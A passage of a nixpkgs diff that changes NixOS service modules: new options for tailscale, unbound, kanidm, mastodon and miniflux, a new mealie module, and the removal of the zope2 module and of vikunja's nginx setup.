a/nixos/modules/services/networking/tailscale.nix b/nixos/modules/services/networking/tailscale.nix index f11fe57d6ce5e..972299a4697a0 100644 --- a/nixos/modules/services/networking/tailscale.nix +++ b/nixos/modules/services/networking/tailscale.nix @@ -66,6 +66,13 @@ in { default = []; example = ["--ssh"]; }; + + extraDaemonFlags = mkOption { + description = lib.mdDoc "Extra flags to pass to {command}`tailscaled`."; + type = types.listOf types.str; + default = []; + example = ["--no-logs-no-support"]; + }; }; config = mkIf cfg.enable { @@ -80,7 +87,7 @@ in { ] ++ lib.optional config.networking.resolvconf.enable config.networking.resolvconf.package; serviceConfig.Environment = [ "PORT=${toString cfg.port}" - ''"FLAGS=--tun ${lib.escapeShellArg cfg.interfaceName}"'' + ''"FLAGS=--tun ${lib.escapeShellArg cfg.interfaceName} ${lib.concatStringsSep " " cfg.extraDaemonFlags}"'' ] ++ (lib.optionals (cfg.permitCertUid != null) [ "TS_PERMIT_CERT_UID=${cfg.permitCertUid}" ]); diff --git a/nixos/modules/services/networking/unbound.nix b/nixos/modules/services/networking/unbound.nix index 616b32f117979..8438e472e11ee 100644 --- a/nixos/modules/services/networking/unbound.nix +++ b/nixos/modules/services/networking/unbound.nix @@ -24,12 +24,24 @@ let confNoServer = concatStringsSep "\n" ((mapAttrsToList (toConf "") (builtins.removeAttrs cfg.settings [ "server" ])) ++ [""]); confServer = concatStringsSep "\n" (mapAttrsToList (toConf " ") (builtins.removeAttrs cfg.settings.server [ "define-tag" ])); - confFile = pkgs.writeText "unbound.conf" '' + confFileUnchecked = pkgs.writeText "unbound.conf" '' server: ${optionalString (cfg.settings.server.define-tag != "") (toOption " " "define-tag" cfg.settings.server.define-tag)} ${confServer} ${confNoServer} ''; + confFile = if cfg.checkconf then pkgs.runCommandLocal "unbound-checkconf" { } '' + cp ${confFileUnchecked} unbound.conf + + # fake stateDir which is not accesible in the sandbox + mkdir -p $PWD/state + sed -i unbound.conf \ + -e '/auto-trust-anchor-file/d' \ + -e "s|${cfg.stateDir}|$PWD/state|" + ${cfg.package}/bin/unbound-checkconf unbound.conf + + cp ${confFileUnchecked} $out + '' else confFileUnchecked; rootTrustAnchorFile = "${cfg.stateDir}/root.key"; @@ -62,6 +74,17 @@ in { description = lib.mdDoc "Directory holding all state for unbound to run."; }; + checkconf = mkOption { + type = types.bool; + default = !cfg.settings ? include; + defaultText = "!config.services.unbound.settings ? include"; + description = lib.mdDoc '' + Wether to check the resulting config file with unbound checkconf for syntax errors. + + If settings.include is used, then this options is disabled, as the import can likely not be resolved at build time. + ''; + }; + resolveLocalQueries = mkOption { type = types.bool; default = true; diff --git a/nixos/modules/services/security/kanidm.nix b/nixos/modules/services/security/kanidm.nix index c659d93b40872..9d074c3027d02 100644 --- a/nixos/modules/services/security/kanidm.nix +++ b/nixos/modules/services/security/kanidm.nix @@ -132,6 +132,28 @@ in default = "WriteReplica"; type = lib.types.enum [ "WriteReplica" "WriteReplicaNoUI" "ReadOnlyReplica" ]; }; + online_backup = { + path = lib.mkOption { + description = lib.mdDoc "Path to the output directory for backups."; + type = lib.types.path; + default = "/var/lib/kanidm/backups"; + }; + schedule = lib.mkOption { + description = lib.mdDoc "The schedule for backups in cron format."; + type = lib.types.str; + default = "00 22 * * *"; + }; + versions = lib.mkOption { + description = lib.mdDoc '' + Number of backups to keep. + + The default is set to `0`, in order to disable backups by default. + ''; + type = lib.types.ints.unsigned; + default = 0; + example = 7; + }; + }; }; }; default = { }; @@ -233,6 +255,14 @@ in environment.systemPackages = lib.mkIf cfg.enableClient [ cfg.package ]; + systemd.tmpfiles.settings."10-kanidm" = { + ${cfg.serverSettings.online_backup.path}.d = { + mode = "0700"; + user = "kanidm"; + group = "kanidm"; + }; + }; + systemd.services.kanidm = lib.mkIf cfg.enableServer { description = "kanidm identity management daemon"; wantedBy = [ "multi-user.target" ]; @@ -253,6 +283,8 @@ in BindPaths = [ # To create the socket "/run/kanidmd:/run/kanidmd" + # To store backups + cfg.serverSettings.online_backup.path ]; AmbientCapabilities = [ "CAP_NET_BIND_SERVICE" ]; diff --git a/nixos/modules/services/security/vaultwarden/default.nix b/nixos/modules/services/security/vaultwarden/default.nix index 470db735bf649..60d8015d0ceeb 100644 --- a/nixos/modules/services/security/vaultwarden/default.nix +++ b/nixos/modules/services/security/vaultwarden/default.nix @@ -180,7 +180,6 @@ in { users.groups.vaultwarden = { }; systemd.services.vaultwarden = { - aliases = [ "bitwarden_rs.service" ]; after = [ "network.target" ]; path = with pkgs; [ openssl ]; serviceConfig = { @@ -202,7 +201,6 @@ in { }; systemd.services.backup-vaultwarden = mkIf (cfg.backupDir != null) { - aliases = [ "backup-bitwarden_rs.service" ]; description = "Backup vaultwarden"; environment = { DATA_FOLDER = "/var/lib/bitwarden_rs"; @@ -222,7 +220,6 @@ in { }; systemd.timers.backup-vaultwarden = mkIf (cfg.backupDir != null) { - aliases = [ "backup-bitwarden_rs.timer" ]; description = "Backup vaultwarden on time"; timerConfig = { OnCalendar = mkDefault "23:00"; @@ -240,6 +237,9 @@ in { }; }; - # uses attributes of the linked package - meta.buildDocsInSandbox = false; + meta = { + # uses attributes of the linked package + buildDocsInSandbox = false; + maintainers = with lib.maintainers; [ dotlambda SuperSandro2000 ]; + }; } diff --git a/nixos/modules/services/system/automatic-timezoned.nix b/nixos/modules/services/system/automatic-timezoned.nix index 8934ed3a7ef28..7d3cd004a7ba1 100644 --- a/nixos/modules/services/system/automatic-timezoned.nix +++ b/nixos/modules/services/system/automatic-timezoned.nix @@ -50,7 +50,7 @@ in serviceConfig = { Type = "exec"; User = "automatic-timezoned"; - ExecStart = "${cfg.package}/bin/automatic-timezoned --zoneinfo-path=${pkgs.tzdata}/share/zoneinfo/zone1970.tab"; + ExecStart = "${cfg.package}/bin/automatic-timezoned"; }; wantedBy = [ "default.target" ]; }; diff --git a/nixos/modules/services/torrent/transmission.nix b/nixos/modules/services/torrent/transmission.nix index 5dd02eb331633..a9fb123b981ec 100644 --- a/nixos/modules/services/torrent/transmission.nix +++ b/nixos/modules/services/torrent/transmission.nix @@ -74,7 +74,7 @@ in description = lib.mdDoc ""; }; options.message-level = mkOption { - type = types.ints.between 0 3; + type = types.ints.between 0 6; default = 2; description = lib.mdDoc "Set verbosity of transmission messages."; }; diff --git a/nixos/modules/services/web-apps/mastodon.nix b/nixos/modules/services/web-apps/mastodon.nix index 8d09d1b978283..7fc710c6fcec1 100644 --- a/nixos/modules/services/web-apps/mastodon.nix +++ b/nixos/modules/services/web-apps/mastodon.nix @@ -4,7 +4,8 @@ let cfg = config.services.mastodon; opt = options.services.mastodon; - # We only want to create a database if we're actually going to connect to it. + # We only want to create a Redis and PostgreSQL databases if we're actually going to connect to it local. + redisActuallyCreateLocally = cfg.redis.createLocally && (cfg.redis.host == "127.0.0.1" || cfg.redis.enableUnixSocket); databaseActuallyCreateLocally = cfg.database.createLocally && cfg.database.host == "/run/postgresql"; env = { @@ -33,6 +34,7 @@ let TRUSTED_PROXY_IP = cfg.trustedProxy; } + // lib.optionalAttrs (cfg.redis.createLocally && cfg.redis.enableUnixSocket) { REDIS_URL = "unix://${config.services.redis.servers.mastodon.unixSocket}"; } // lib.optionalAttrs (cfg.database.host != "/run/postgresql" && cfg.database.port != null) { DB_PORT = toString cfg.database.port; } // lib.optionalAttrs cfg.smtp.authenticate { SMTP_LOGIN = cfg.smtp.user; } // lib.optionalAttrs (cfg.elasticsearch.host != null) { ES_HOST = cfg.elasticsearch.host; } @@ -116,9 +118,11 @@ let threads = toString (if processCfg.threads == null then cfg.sidekiqThreads else processCfg.threads); in { after = [ "network.target" "mastodon-init-dirs.service" ] + ++ lib.optional redisActuallyCreateLocally "redis-mastodon.service" ++ lib.optional databaseActuallyCreateLocally "postgresql.service" ++ lib.optional cfg.automaticMigrations "mastodon-init-db.service"; requires = [ "mastodon-init-dirs.service" ] + ++ lib.optional redisActuallyCreateLocally "redis-mastodon.service" ++ lib.optional databaseActuallyCreateLocally "postgresql.service" ++ lib.optional cfg.automaticMigrations "mastodon-init-db.service"; description = "Mastodon sidekiq${jobClassLabel}"; @@ -146,9 +150,11 @@ let name = "mastodon-streaming-${toString i}"; value = { after = [ "network.target" "mastodon-init-dirs.service" ] + ++ lib.optional redisActuallyCreateLocally "redis-mastodon.service" ++ lib.optional databaseActuallyCreateLocally "postgresql.service" ++ lib.optional cfg.automaticMigrations "mastodon-init-db.service"; requires = [ "mastodon-init-dirs.service" ] + ++ lib.optional redisActuallyCreateLocally "redis-mastodon.service" ++ lib.optional databaseActuallyCreateLocally "postgresql.service" ++ lib.optional cfg.automaticMigrations "mastodon-init-db.service"; wantedBy = [ "mastodon.target" "mastodon-streaming.target" ]; @@ -404,6 +410,19 @@ in { type = lib.types.port; default = 31637; }; + + passwordFile = lib.mkOption { + description = lib.mdDoc "A file containing the password for Redis database."; + type = lib.types.nullOr lib.types.path; + default = null; + example = "/run/keys/mastodon-redis-password"; + }; + + enableUnixSocket = lib.mkOption { + description = lib.mdDoc "Use Unix socket"; + type = lib.types.bool; + default = true; + }; }; database = { @@ -613,6 +632,13 @@ in { config = lib.mkIf cfg.enable (lib.mkMerge [{ assertions = [ { + assertion = redisActuallyCreateLocally -> (!cfg.redis.enableUnixSocket || cfg.redis.passwordFile == null); + message = '' + <option>services.mastodon.redis.enableUnixSocket</option> needs to be disabled if + <option>services.mastodon.redis.passwordFile</option> is used. + ''; + } + { assertion = databaseActuallyCreateLocally -> (cfg.user == cfg.database.user && cfg.database.user == cfg.database.name); message = '' For local automatic database provisioning (services.mastodon.database.createLocally == true) with peer @@ -689,6 +715,8 @@ in { OTP_SECRET="$(cat ${cfg.otpSecretFile})" VAPID_PRIVATE_KEY="$(cat ${cfg.vapidPrivateKeyFile})" VAPID_PUBLIC_KEY="$(cat ${cfg.vapidPublicKeyFile})" + '' + lib.optionalString (cfg.redis.passwordFile != null)'' + REDIS_PASSWORD="$(cat ${cfg.redis.passwordFile})" '' + lib.optionalString (cfg.database.passwordFile != null) '' DB_PASS="$(cat ${cfg.database.passwordFile})" '' + lib.optionalString cfg.smtp.authenticate '' @@ -751,9 +779,11 @@ in { systemd.services.mastodon-web = { after = [ "network.target" "mastodon-init-dirs.service" ] + ++ lib.optional redisActuallyCreateLocally "redis-mastodon.service" ++ lib.optional databaseActuallyCreateLocally "postgresql.service" ++ lib.optional cfg.automaticMigrations "mastodon-init-db.service"; requires = [ "mastodon-init-dirs.service" ] + ++ lib.optional redisActuallyCreateLocally "redis-mastodon.service" ++ lib.optional databaseActuallyCreateLocally "postgresql.service" ++ lib.optional cfg.automaticMigrations "mastodon-init-db.service"; wantedBy = [ "mastodon.target" ]; @@ -834,11 +864,14 @@ in { enable = true; hostname = lib.mkDefault "${cfg.localDomain}"; }; - services.redis.servers.mastodon = lib.mkIf (cfg.redis.createLocally && cfg.redis.host == "127.0.0.1") { - enable = true; - port = cfg.redis.port; - bind = "127.0.0.1"; - }; + services.redis.servers.mastodon = lib.mkIf redisActuallyCreateLocally (lib.mkMerge [ + { + enable = true; + } + (lib.mkIf (!cfg.redis.enableUnixSocket) { + port = cfg.redis.port; + }) + ]); services.postgresql = lib.mkIf databaseActuallyCreateLocally { enable = true; ensureUsers = [ @@ -859,6 +892,7 @@ in { }; }) (lib.attrsets.setAttrByPath [ cfg.user "packages" ] [ cfg.package pkgs.imagemagick ]) + (lib.mkIf (cfg.redis.createLocally && cfg.redis.enableUnixSocket) {${config.services.mastodon.user}.extraGroups = [ "redis-mastodon" ];}) ]; users.groups.${cfg.group}.members = lib.optional cfg.configureNginx config.services.nginx.user; diff --git a/nixos/modules/services/web-apps/mealie.nix b/nixos/modules/services/web-apps/mealie.nix new file mode 100644 index 0000000000000..8bb7542c6b56d --- /dev/null +++ b/nixos/modules/services/web-apps/mealie.nix @@ -0,0 +1,79 @@ +{ config, lib, pkgs, ...}: +let + cfg = config.services.mealie; + pkg = cfg.package; +in +{ + options.services.mealie = { + enable = lib.mkEnableOption "Mealie, a recipe manager and meal planner"; + + package = lib.mkPackageOption pkgs "mealie" { }; + + listenAddress = lib.mkOption { + type = lib.types.str; + default = "0.0.0.0"; + description = "Address on which the service should listen."; + }; + + port = lib.mkOption { + type = lib.types.port; + default = 9000; + description = "Port on which to serve the Mealie service."; + }; + + settings = lib.mkOption { + type = with lib.types; attrsOf anything; + default = {}; + description = lib.mdDoc '' + Configuration of the Mealie service. + + See [the mealie documentation](https://nightly.mealie.io/documentation/getting-started/installation/backend-config/) for available options and default values. + + In addition to the official documentation, you can set {env}`MEALIE_LOG_FILE`. + ''; + example = { + ALLOW_SIGNUP = "false"; + }; + }; + + credentialsFile = lib.mkOption { + type = with lib.types; nullOr path; + default = null; + example = "/run/secrets/mealie-credentials.env"; + description = '' + File containing credentials used in mealie such as {env}`POSTGRES_PASSWORD` + or sensitive LDAP options. + + Expects the format of an `EnvironmentFile=`, as described by {manpage}`systemd.exec(5)`. + ''; + }; + }; + + config = lib.mkIf cfg.enable { + systemd.services.mealie = { + description = "Mealie, a self hosted recipe manager and meal planner"; + + after = [ "network-online.target" ]; + wants = [ "network-online.target" ]; + wantedBy = [ "multi-user.target" ]; + + environment = { + PRODUCTION = "true"; + ALEMBIC_CONFIG_FILE="${pkg}/config/alembic.ini"; + API_PORT = toString cfg.port; + DATA_DIR = "/var/lib/mealie"; + CRF_MODEL_PATH = "/var/lib/mealie/model.crfmodel"; + } // (builtins.mapAttrs (_: val: toString val) cfg.settings); + + serviceConfig = { + DynamicUser = true; + User = "mealie"; + ExecStartPre = "${pkg}/libexec/init_db"; + ExecStart = "${lib.getExe pkg} -b ${cfg.listenAddress}:${builtins.toString cfg.port}"; + EnvironmentFile = lib.mkIf (cfg.credentialsFile != null) cfg.credentialsFile; + StateDirectory = "mealie"; + StandardOutput="journal"; + }; + }; + }; +} diff --git a/nixos/modules/services/web-apps/miniflux.nix b/nixos/modules/services/web-apps/miniflux.nix index 1a5b7d0c24e9b..16b6fb0d655d7 100644 --- a/nixos/modules/services/web-apps/miniflux.nix +++ b/nixos/modules/services/web-apps/miniflux.nix @@ -16,10 +16,20 @@ in { options = { services.miniflux = { - enable = mkEnableOption (lib.mdDoc "miniflux and creates a local postgres database for it"); + enable = mkEnableOption (lib.mdDoc "miniflux"); package = mkPackageOption pkgs "miniflux" { }; + createDatabaseLocally = lib.mkOption { + type = lib.types.bool; + default = true; + description = '' + Whether a PostgreSQL database should be automatically created and + configured on the local host. If set to `false`, you need provision a + database yourself and make sure to create the hstore extension in it. + ''; + }; + config = mkOption { type = with types; attrsOf (oneOf [ str int ]); example = literalExpression '' @@ -38,7 +48,7 @@ in ''; }; - adminCredentialsFile = mkOption { + adminCredentialsFile = mkOption { type = types.path; description = lib.mdDoc '' File containing the ADMIN_USERNAME and @@ -51,14 +61,14 @@ in }; config = mkIf cfg.enable { - services.miniflux.config = { + services.miniflux.config = { LISTEN_ADDR = mkDefault defaultAddress; - DATABASE_URL = "user=miniflux host=/run/postgresql dbname=miniflux"; + DATABASE_URL = lib.mkIf cfg.createDatabaseLocally "user=miniflux host=/run/postgresql dbname=miniflux"; RUN_MIGRATIONS = 1; CREATE_ADMIN = 1; }; - services.postgresql = { + services.postgresql = lib.mkIf cfg.createDatabaseLocally { enable = true; ensureUsers = [ { name = "miniflux"; @@ -67,7 +77,7 @@ in ensureDatabases = [ "miniflux" ]; }; - systemd.services.miniflux-dbsetup = { + systemd.services.miniflux-dbsetup = lib.mkIf cfg.createDatabaseLocally { description = "Miniflux database setup"; requires = [ "postgresql.service" ]; after = [ "network.target" "postgresql.service" ]; @@ -81,8 +91,9 @@ in systemd.services.miniflux = { description = "Miniflux service"; wantedBy = [ "multi-user.target" ]; - requires = [ "miniflux-dbsetup.service" ]; - after = [ "network.target" "postgresql.service" "miniflux-dbsetup.service" ]; + requires = lib.optional cfg.createDatabaseLocally "miniflux-dbsetup.service"; + after = [ "network.target" ] + ++ lib.optionals cfg.createDatabaseLocally [ "postgresql.service" "miniflux-dbsetup.service" ]; serviceConfig = { ExecStart = "${cfg.package}/bin/miniflux"; @@ -129,6 +140,7 @@ in include "${pkgs.apparmorRulesFromClosure { name = "miniflux"; } cfg.package}" r ${cfg.package}/bin/miniflux, r @{sys}/kernel/mm/transparent_hugepage/hpage_pmd_size, + rw /run/miniflux/**, } ''; }; diff --git a/nixos/modules/services/web-apps/nextcloud.nix b/nixos/modules/services/web-apps/nextcloud.nix index 08f90dcf59d80..5cda4a00a9de5 100644 --- a/nixos/modules/services/web-apps/nextcloud.nix +++ b/nixos/modules/services/web-apps/nextcloud.nix @@ -45,7 +45,7 @@ let }; }; - webroot = pkgs.runCommand + webroot = pkgs.runCommandLocal "${cfg.package.name or "nextcloud"}-with-apps" { } '' diff --git a/nixos/modules/services/web-apps/photoprism.nix b/nixos/modules/services/web-apps/photoprism.nix index d3773cc9cf788..39eb7c65c6359 100644 --- a/nixos/modules/services/web-apps/photoprism.nix +++ b/nixos/modules/services/web-apps/photoprism.nix @@ -12,17 +12,14 @@ let lib.mapAttrs (_: toString) cfg.settings ); - manage = - let - setupEnv = lib.concatStringsSep "\n" (lib.mapAttrsToList (name: val: "export ${name}=${lib.escapeShellArg val}") env); - in - pkgs.writeShellScript "manage" '' - ${setupEnv} - eval "$(${config.systemd.package}/bin/systemctl show -pUID,MainPID photoprism.service | ${pkgs.gnused}/bin/sed "s/UID/ServiceUID/")" - exec ${pkgs.util-linux}/bin/nsenter \ - -t $MainPID -m -S $ServiceUID -G $ServiceUID --wdns=${cfg.storagePath} \ - ${cfg.package}/bin/photoprism "$@" - ''; + manage = pkgs.writeShellScript "manage" '' + set -o allexport # Export the following env vars + ${lib.toShellVars env} + eval "$(${config.systemd.package}/bin/systemctl show -pUID,MainPID photoprism.service | ${pkgs.gnused}/bin/sed "s/UID/ServiceUID/")" + exec ${pkgs.util-linux}/bin/nsenter \ + -t $MainPID -m -S $ServiceUID -G $ServiceUID --wdns=${cfg.storagePath} \ + ${cfg.package}/bin/photoprism "$@" + ''; in { meta.maintainers = with lib.maintainers; [ stunkymonkey ]; @@ -107,6 +104,7 @@ in StateDirectory = "photoprism"; WorkingDirectory = "/var/lib/photoprism"; RuntimeDirectory = "photoprism"; + ReadWritePaths = [ cfg.originalsPath cfg.importPath cfg.storagePath ]; LoadCredential = lib.optionalString (cfg.passwordFile != null) "PHOTOPRISM_ADMIN_PASSWORD:${cfg.passwordFile}"; diff --git a/nixos/modules/services/web-apps/vikunja.nix b/nixos/modules/services/web-apps/vikunja.nix index b893f2c1f33c7..efa9c676d9a5d 100644 --- a/nixos/modules/services/web-apps/vikunja.nix +++ b/nixos/modules/services/web-apps/vikunja.nix @@ -9,10 +9,13 @@ let useMysql = cfg.database.type == "mysql"; usePostgresql = cfg.database.type == "postgres"; in { + imports = [ + (mkRemovedOptionModule [ "services" "vikunja" "setupNginx" ] "services.vikunja no longer supports the automatic set up of a nginx virtual host. Set up your own webserver config with a proxy pass to the vikunja service.") + ]; + options.services.vikunja = with lib; { enable = mkEnableOption (lib.mdDoc "vikunja service"); - package-api = mkPackageOption pkgs "vikunja-api" { }; - package-frontend = mkPackageOption pkgs "vikunja-frontend" { }; + package = mkPackageOption pkgs "vikunja" { }; environmentFiles = mkOption { type = types.listOf types.path; default = [ ]; @@ -21,25 +24,10 @@ in { For example passwords should be set in one of these files. ''; }; - setupNginx = mkOption { - type = types.bool; - default = config.services.nginx.enable; - defaultText = literalExpression "config.services.nginx.enable"; - description = lib.mdDoc '' - Whether to setup NGINX. - Further nginx configuration can be done by changing - {option}`services.nginx.virtualHosts.<frontendHostname>`. - This does not enable TLS or ACME by default. To enable this, set the - {option}`services.nginx.virtualHosts.<frontendHostname>.enableACME` to - `true` and if appropriate do the same for - {option}`services.nginx.virtualHosts.<frontendHostname>.forceSSL`. - ''; - }; frontendScheme = mkOption { type = types.enum [ "http" "https" ]; description = lib.mdDoc '' Whether the site is available via http or https. - This does not configure https or ACME in nginx! ''; }; frontendHostname = mkOption { @@ -104,42 +92,27 @@ in { }; }; - systemd.services.vikunja-api = { - description = "vikunja-api"; + systemd.services.vikunja = { + description = "vikunja"; after = [ "network.target" ] ++ lib.optional usePostgresql "postgresql.service" ++ lib.optional useMysql "mysql.service"; wantedBy = [ "multi-user.target" ]; - path = [ cfg.package-api ]; + path = [ cfg.package ]; restartTriggers = [ configFile ]; serviceConfig = { Type = "simple"; DynamicUser = true; StateDirectory = "vikunja"; - ExecStart = "${cfg.package-api}/bin/vikunja"; + ExecStart = "${cfg.package}/bin/vikunja"; Restart = "always"; EnvironmentFile = cfg.environmentFiles; }; }; - services.nginx.virtualHosts."${cfg.frontendHostname}" = mkIf cfg.setupNginx { - locations = { - "/" = { - root = cfg.package-frontend; - tryFiles = "try_files $uri $uri/ /"; - }; - "~* ^/(api|dav|\\.well-known)/" = { - proxyPass = "http://localhost:${toString cfg.port}"; - extraConfig = '' - client_max_body_size 20M; - ''; - }; - }; - }; - environment.etc."vikunja/config.yaml".source = configFile; environment.systemPackages = [ - cfg.package-api # for admin `vikunja` CLI + cfg.package # for admin `vikunja` CLI ]; }; } diff --git a/nixos/modules/services/web-servers/zope2.nix b/nixos/modules/services/web-servers/zope2.nix deleted file mode 100644 index 29731b29eea4f..0000000000000 --- a/nixos/modules/services/web-servers/zope2.nix +++ /dev/null @@ -1,262 +0,0 @@ -{ config, lib, pkgs, ... }: - -with lib; - -let - - cfg = config.services.zope2; - - zope2Opts = { name, ... }: { - options = { - - name = mkOption { - default = "${name}"; - type = types.str; - description = lib.mdDoc "The name of the zope2 instance. If undefined, the name of the attribute set will be used."; - }; - - threads = mkOption { - default = 2; - type = types.int; - description = lib.mdDoc "Specify the number of threads that Zope's ZServer web server will use to service requests. "; - }; - - http_address = mkOption { - default = "localhost:8080"; - type = types.str; - description = lib.mdDoc "Give a port and address for the HTTP server."; - }; - - user = mkOption { - default = "zope2"; - type = types.str; - description = lib.mdDoc "The name of the effective user for the Zope process."; - }; - - clientHome = mkOption { - default = "/var/lib/zope2/${name}"; - type = types.path; - description = lib.mdDoc "Home directory of zope2 instance."; - }; - extra = mkOption { - default = - '' - <zodb_db main> - mount-point / - cache-size 30000 - <blobstorage> - blob-dir /var/lib/zope2/${name}/blobstorage - <filestorage> - path /var/lib/zope2/${name}/filestorage/Data.fs - </filestorage> - </blobstorage> - </zodb_db> - ''; - type = types.lines; - description = lib.mdDoc "Extra zope.conf"; - }; - - packages = mkOption { - type = types.listOf types.package; - description = lib.mdDoc "The list of packages you want to make available to the zope2 instance."; - }; - - }; - }; - -in - -{ - - ###### interface - - options = { - - services.zope2.instances = mkOption { - default = {}; - type = with types; attrsOf (submodule zope2Opts); - example = literalExpression '' - { - plone01 = { - http_address = "127.0.0.1:8080"; - extra = - ''' - <zodb_db main> - mount-point / - cache-size 30000 - <blobstorage> - blob-dir /var/lib/zope2/plone01/blobstorage - <filestorage> - path /var/lib/zope2/plone01/filestorage/Data.fs - </filestorage> - </blobstorage> - </zodb_db> - '''; - }; - } - ''; - description = lib.mdDoc "zope2 instances to be created automatically by the system."; - }; - }; - - ###### implementation - - config = mkIf (cfg.instances != {}) { - - users.users.zope2 = { - isSystemUser = true; - group = "zope2"; - }; - users.groups.zope2 = {}; - - systemd.services = - let - - createZope2Instance = opts: name: - let - interpreter = pkgs.writeScript "interpreter" - '' - import sys - - _interactive = True - if len(sys.argv) > 1: - _options, _args = __import__("getopt").getopt(sys.argv[1:], 'ic:m:') - _interactive = False - for (_opt, _val) in _options: - if _opt == '-i': - _interactive = True - elif _opt == '-c': - exec _val - elif _opt == '-m': - sys.argv[1:] = _args - _args = [] - __import__("runpy").run_module( - _val, {}, "__main__", alter_sys=True) - - if _args: - sys.argv[:] = _args - __file__ = _args[0] - del _options, _args - execfile(__file__) - - if _interactive: - del _interactive - __import__("code").interact(banner="", local=globals()) - ''; - env = pkgs.buildEnv { - name = "zope2-${name}-env"; - paths = [ - pkgs.python27 - pkgs.python27Packages.recursive-pth-loader - pkgs.python27Packages."plone.recipe.zope2instance" - ] ++ attrValues pkgs.python27.modules - ++ opts.packages; - postBuild = - '' - echo "#!$out/bin/python" > $out/bin/interpreter - cat ${interpreter} >> $out/bin/interpreter - ''; - }; - conf = pkgs.writeText "zope2-${name}-conf" - '' - %define INSTANCEHOME ${env} - instancehome $INSTANCEHOME - %define CLIENTHOME ${opts.clientHome}/${opts.name} - clienthome $CLIENTHOME - - debug-mode off - security-policy-implementation C - verbose-security off - default-zpublisher-encoding utf-8 - zserver-threads ${toString opts.threads} - effective-user ${opts.user} - - pid-filename ${opts.clientHome}/${opts.name}/pid - lock-filename ${opts.clientHome}/${opts.name}/lock - python-check-interval 1000 - enable-product-installation off - - <environment> - zope_i18n_compile_mo_files false - </environment> - - <eventlog> - level INFO - <logfile> - path /var/log/zope2/${name}.log - level INFO - </logfile> - </eventlog> - - <logger access> - level WARN - <logfile> - path /var/log/zope2/${name}-Z2.log - format %(message)s - </logfile> - </logger> - - <http-server> - address ${opts.http_address} - </http-server> - - <zodb_db temporary> - <temporarystorage> - name temporary storage for sessioning - </temporarystorage> - mount-point /temp_folder - container-class Products.TemporaryFolder.TemporaryContainer - </zodb_db> - - ${opts.extra} - ''; - ctlScript = pkgs.writeScript "zope2-${name}-ctl-script" - '' - #!${env}/bin/python - - import sys - import plone.recipe.zope2instance.ctl - - if __name__ == '__main__': - sys.exit(plone.recipe.zope2instance.ctl.main( - ["-C", "${conf}"] - + sys.argv[1:])) - ''; - - ctl = pkgs.writeScript "zope2-${name}-ctl" - '' - #!${pkgs.bash}/bin/bash -e - export PYTHONHOME=${env} - exec ${ctlScript} "$@" - ''; - in { - #description = "${name} instance"; - after = [ "network.target" ]; # with RelStorage also add "postgresql.service" - wantedBy = [ "multi-user.target" ]; - path = opts.packages; - preStart = - '' - mkdir -p /var/log/zope2/ - touch /var/log/zope2/${name}.log - touch /var/log/zope2/${name}-Z2.log - chown ${opts.user} /var/log/zope2/${name}.log - chown ${opts.user} /var/log/zope2/${name}-Z2.log - - mkdir -p ${opts.clientHome}/filestorage ${opts.clientHome}/blobstorage - mkdir -p ${opts.clientHome}/${opts.name} - chown ${opts.user} ${opts.clientHome} -R - - ${ctl} adduser admin admin - ''; - - serviceConfig.Type = "forking"; - serviceConfig.ExecStart = "${ctl} start"; - serviceConfig.ExecStop = "${ctl} stop"; - serviceConfig.ExecReload = "${ctl} restart"; - }; - - in listToAttrs (map (name: { name = "zope2-${name}"; value = createZope2Instance (builtins.getAttr name cfg.instances) name; }) (builtins.attrNames cfg.instances)); - - }; - -} diff --git a/nixos/modules/services/x11/desktop-managers/budgie.nix b/nixos/modules/services/x11/desktop-managers/budgie.nix index 463c45675cee4..fe39097a22e8f 100644 --- a/nixos/modules/services/x11/desktop-managers/budgie.nix +++ b/nixos/modules/services/x11/desktop-managers/budgie.nix @@ -39,6 +39,10 @@ let ''; destination = "/share/gnome-background-properties/nixos.xml"; }; + + budgie-control-center = pkgs.budgie.budgie-control-center.override { + enableSshSocket = config.services.openssh.startWhenNeeded; + }; in { options = { services.xserver.desktopManager.budgie = { @@ -114,7 +118,7 @@ in { [ # Budgie Desktop. budgie.budgie-backgrounds - budgie.budgie-control-center + budgie-control-center (budgie.budgie-desktop-with-plugins.override { plugins = cfg.extraPlugins; }) budgie.budgie-desktop-view budgie.budgie-screensaver @@ -233,8 +237,8 @@ in { services.gvfs.enable = mkDefault true; # Register packages for DBus. - services.dbus.packages = with pkgs; [ - budgie.budgie-control-center + services.dbus.packages = [ + budgie-control-center ]; # Register packages for udev. diff --git a/nixos/modules/services/x11/desktop-managers/deepin.nix b/nixos/modules/services/x11/desktop-managers/deepin.nix index 7d3acada60739..0824d6e30a8a9 100644 --- a/nixos/modules/services/x11/desktop-managers/deepin.nix +++ b/nixos/modules/services/x11/desktop-managers/deepin.nix @@ -173,19 +173,20 @@ in ]; optionalPackages = [ onboard # dde-dock plugin - deepin-camera deepin-calculator deepin-compressor deepin-editor deepin-picker deepin-draw - deepin-album - deepin-image-viewer deepin-music deepin-movie-reborn deepin-system-monitor - deepin-screen-recorder deepin-shortcut-viewer + # freeimage has knownVulnerabilties, don't install packages using freeiamge by default + # deepin-album + # deepin-camera + # deepin-image-viewer + # deepin-screen-recorder ]; in requiredPackages diff --git a/nixos/modules/services/x11/desktop-managers/default.nix b/nixos/modules/services/x11/desktop-managers/default.nix index 66cb4ee29c0a9..ecb8d1e91bde2 100644 --- a/nixos/modules/services/x11/desktop-managers/default.nix +++ b/nixos/modules/services/x11/desktop-managers/default.nix @@ -18,7 +18,7 @@ in # determines the default: later modules (if enabled) are preferred. # E.g., if Plasma 5 is enabled, it supersedes xterm. imports = [ - ./none.nix ./xterm.nix ./phosh.nix ./xfce.nix ./plasma5.nix ./lumina.nix + ./none.nix ./xterm.nix ./phosh.nix ./xfce.nix ./plasma5.nix ./plasma6.nix ./lumina.nix ./lxqt.nix ./enlightenment.nix ./gnome.nix ./retroarch.nix ./kodi.nix ./mate.nix ./pantheon.nix ./surf-display.nix ./cde.nix ./cinnamon.nix ./budgie.nix ./deepin.nix diff --git a/nixos/modules/services/x11/desktop-managers/plasma5.nix b/nixos/modules/services/x11/desktop-managers/plasma5.nix index 0eb492ce46843..7645b3070369c 100644 --- a/nixos/modules/services/x11/desktop-managers/plasma5.nix +++ b/nixos/modules/services/x11/desktop-managers/plasma5.nix @@ -362,7 +362,7 @@ in security.pam.services.kde = { allowNullPassword = true; }; - security.pam.services.login.enableKwallet = true; + security.pam.services.login.kwallet.enable = true; systemd.user.services = { plasma-early-setup = mkIf cfg.runUsingSystemd { diff --git a/nixos/modules/services/x11/desktop-managers/plasma6.nix 